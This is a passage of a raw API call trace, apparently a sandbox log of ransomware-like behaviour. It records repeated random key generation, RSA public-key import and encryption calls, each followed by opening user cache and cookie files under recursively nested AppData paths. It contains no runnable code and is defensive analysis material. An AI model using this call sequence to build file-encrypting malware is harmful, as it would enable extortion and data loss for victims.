szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0174.683] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35e6a38) returned 1 [0174.683] CryptGetKeyParam (in: hKey=0x35e6a38, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.683] CryptEncrypt (in: hKey=0x35e6a38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3fb0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x3fb0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0174.684] GetLastError () returned 0x0 [0174.684] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.684] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_idx.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.688] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0174.688] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.689] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.689] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0174.689] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.689] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0174.690] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.690] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.690] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0174.690] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.690] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0174.692] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35e6638) returned 1 [0174.692] CryptGetKeyParam (in: hKey=0x35e6638, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.692] CryptEncrypt (in: hKey=0x35e6638, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3fc0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x3fc0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0174.692] GetLastError () returned 0x0 [0174.692] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0174.692] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0174.694] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35e6cb8) returned 1 [0174.694] CryptGetKeyParam (in: hKey=0x35e6cb8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.694] CryptEncrypt (in: hKey=0x35e6cb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3fd0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x3fd0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0174.694] GetLastError () returned 0x0 [0174.694] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.694] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCache\\counters.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcache\\counters.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.698] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0174.699] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.699] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.699] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0174.699] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0174.699] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0174.700] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.700] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.700] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0174.700] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.701] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0174.702] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x35e64f8) returned 1 [0174.703] CryptGetKeyParam (in: hKey=0x35e64f8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.703] CryptEncrypt (in: hKey=0x35e64f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3fe0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x3fe0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0174.703] GetLastError () returned 0x0 [0174.703] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.703] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0174.705] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x35e6738) returned 1 [0174.705] CryptGetKeyParam (in: hKey=0x35e6738, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.705] CryptEncrypt (in: hKey=0x35e6738, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3ff0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x3ff0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0174.705] GetLastError () returned 0x0 [0174.705] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0174.705] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCache\\Low\\SmartScreenCache.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcache\\low\\smartscreencache.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.705] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0174.706] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.706] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.706] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0174.706] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0174.706] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0174.707] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.708] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.708] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0174.708] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0174.708] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4540) returned 1 [0174.710] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x35e6778) returned 1 [0174.710] CryptGetKeyParam (in: hKey=0x35e6778, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.710] CryptEncrypt (in: hKey=0x35e6778, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4000000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4000000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0174.710] GetLastError () returned 0x0 [0174.710] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0174.710] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0174.712] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x35e6538) returned 1 [0174.712] CryptGetKeyParam (in: hKey=0x35e6538, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.712] CryptEncrypt (in: hKey=0x35e6538, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4010000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4010000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0174.713] GetLastError () returned 0x0 [0174.713] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0174.713] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCache\\Low\\SuggestedSites.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcache\\low\\suggestedsites.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.713] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0174.714] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.714] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.714] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0174.714] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.715] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0174.715] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.716] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.716] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0174.716] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.716] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0174.718] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35e65b8) returned 1 [0174.718] CryptGetKeyParam (in: hKey=0x35e65b8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.718] CryptEncrypt (in: hKey=0x35e65b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4020000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x4020000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0174.718] GetLastError () returned 0x0 [0174.718] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.718] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0174.720] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35e65f8) returned 1 [0174.720] CryptGetKeyParam (in: hKey=0x35e65f8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.720] CryptEncrypt (in: hKey=0x35e65f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4030000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x4030000*, pdwDataLen=0x285d120*=0x100) returned 1 [0174.720] GetLastError () returned 0x0 [0174.720] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.720] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\0I8MI595.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\0i8mi595.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.721] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0174.721] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.722] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.722] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0174.722] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0174.722] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0174.723] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.723] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.723] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0174.723] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.723] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0174.726] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35e67f8) returned 1 [0174.726] CryptGetKeyParam (in: hKey=0x35e67f8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.726] CryptEncrypt (in: hKey=0x35e67f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4040000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x4040000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0174.726] GetLastError () returned 0x0 [0174.726] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.726] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0174.728] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35e6678) returned 1 [0174.728] CryptGetKeyParam (in: hKey=0x35e6678, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.728] CryptEncrypt (in: hKey=0x35e6678, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4050000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x4050000*, pdwDataLen=0x285d120*=0x100) returned 1 [0174.728] GetLastError () returned 0x0 [0174.728] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0174.728] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\8489XH4E.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\8489xh4e.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.728] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0174.729] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.729] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.729] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0174.729] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0174.729] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0174.730] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.731] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.731] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0174.731] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.731] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0174.733] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35e66b8) returned 1 [0174.733] CryptGetKeyParam (in: hKey=0x35e66b8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.733] CryptEncrypt (in: hKey=0x35e66b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4060000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x4060000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0174.733] GetLastError () returned 0x0 [0174.733] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0174.733] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0174.735] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35e6838) returned 1 [0174.735] CryptGetKeyParam (in: hKey=0x35e6838, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.735] CryptEncrypt (in: hKey=0x35e6838, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4070000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x4070000*, pdwDataLen=0x285d120*=0x100) returned 1 [0174.735] GetLastError () returned 0x0 [0174.735] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0174.735] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\8JC8NM7O.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\8jc8nm7o.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.859] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0174.860] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.860] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.860] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0174.860] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0174.860] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4540) returned 1 [0174.861] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.861] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.861] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0174.861] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0174.861] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0174.864] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x35e6878) returned 1 [0174.864] CryptGetKeyParam (in: hKey=0x35e6878, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.864] CryptEncrypt (in: hKey=0x35e6878, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4080000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4080000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0174.864] GetLastError () returned 0x0 [0174.864] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0174.864] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0174.866] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x35e69b8) returned 1 [0174.866] CryptGetKeyParam (in: hKey=0x35e69b8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.866] CryptEncrypt (in: hKey=0x35e69b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4090000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4090000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0174.866] GetLastError () returned 0x0 [0174.866] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.866] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application 